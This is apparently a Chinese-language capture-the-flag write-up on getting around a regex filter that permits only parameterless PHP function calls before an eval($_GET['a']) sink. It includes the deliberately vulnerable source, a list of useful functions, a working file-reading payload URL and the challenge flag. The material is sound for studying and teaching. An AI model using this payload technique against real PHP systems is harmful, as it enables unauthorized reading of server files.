2019年3月20日09:01:35
PHP Shell Wiith Functions Without Parameters
1. 源码: <?php
show_source(__FILE__);
function SafeFilter (&$arr)
{
if (is_array($arr))
{
foreach ($arr as $key => $value)
{
if(';' !== preg_replace('/[^\W]+\((?R)?\)/', '', $value))
{
die();
}
else
{
SafeFilter($arr[$key]);
}
}
}
}
$_GET && SafeFilter($_GET);
$_POST && SafeFilter($_POST);
$_COOKIE && SafeFilter($_COOKIE);
$_SESSION && SafeFilter($_SESSION);
$_FILES && SafeFilter($_FILES);
eval($_GET['a']);
-
可知后台对多个超全局变量进行过滤,而且还给了GET参数RCE的机会,那目标就是绕过正则并且能够RCE,接下来分析正则:
Reference:正则分析网站preg_replace('/[^\W]+\((?R)?\)/', '', $value) \W 表示匹配除了`0~9a~zA~Z_`的所有字符 [^\W]+ 表示匹配一个或多个`0~9a~zA~Z_`字符 \( 匹配'('字符 \) 匹配')'字符 (?R)? 表示在两个括号内递归匹配整个正则表达式,后面多个问号表示也可以没有
综上可知整个正则表达式的意思就是只允许传入只带一个参数或不带参数的函数,并且还要在结尾添加一个
;
来使eval
成功运行。 -
解题思路:我们可以在
GET
中传入参数RCE,但是这个参数比较麻烦,需要日常大量的积累,通过做这道题,我积累可用函数如下:-
目录函数:
函数 描述 chdir() 改变当前的目录。 chroot() 改变当前进程的根目录。 dir() 打开一个目录句柄,并返回一个对象。 closedir() 关闭目录句柄。 getcwd() 返回当前目录。 opendir() 打开目录句柄。 readdir() 返回目录句柄中的条目。 rewinddir() 重置目录句柄。 scandir() 列出指定路径中的文件和目录。
-
数组函数:
函数 描述 array_count_values() 用于统计数组中所有值出现的次数。 array_flip() 交换数组中的键和值。 array_rand() 返回数组中一个或多个随机的键。 array_reverse() 以相反的顺序返回数组。 array_unique() 删除数组中的重复值。 array_values() 返回数组中所有的值。 current() 返回数组中的当前元素。 end() 将数组的内部指针指向最后一个元素。 key() 从关联数组中取得键名。 pos() current() 的别名。 prev() 将数组的内部指针倒回一位。
-
-
payload思路:通过遍历目录找到flag文件然后读取它
构建payload:http://ip:port/?a=readfile(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
找到flag的目录并改变当前目录为其目录,利用dirname()可以接受bool值并返回当前目录,再构建目录数组并在数组中把flag文件名随机出来并读取,可以写脚本或者用bp,最终得到flag:
flag{6c04c8c77b779b1dd3f64bbeb2068b60}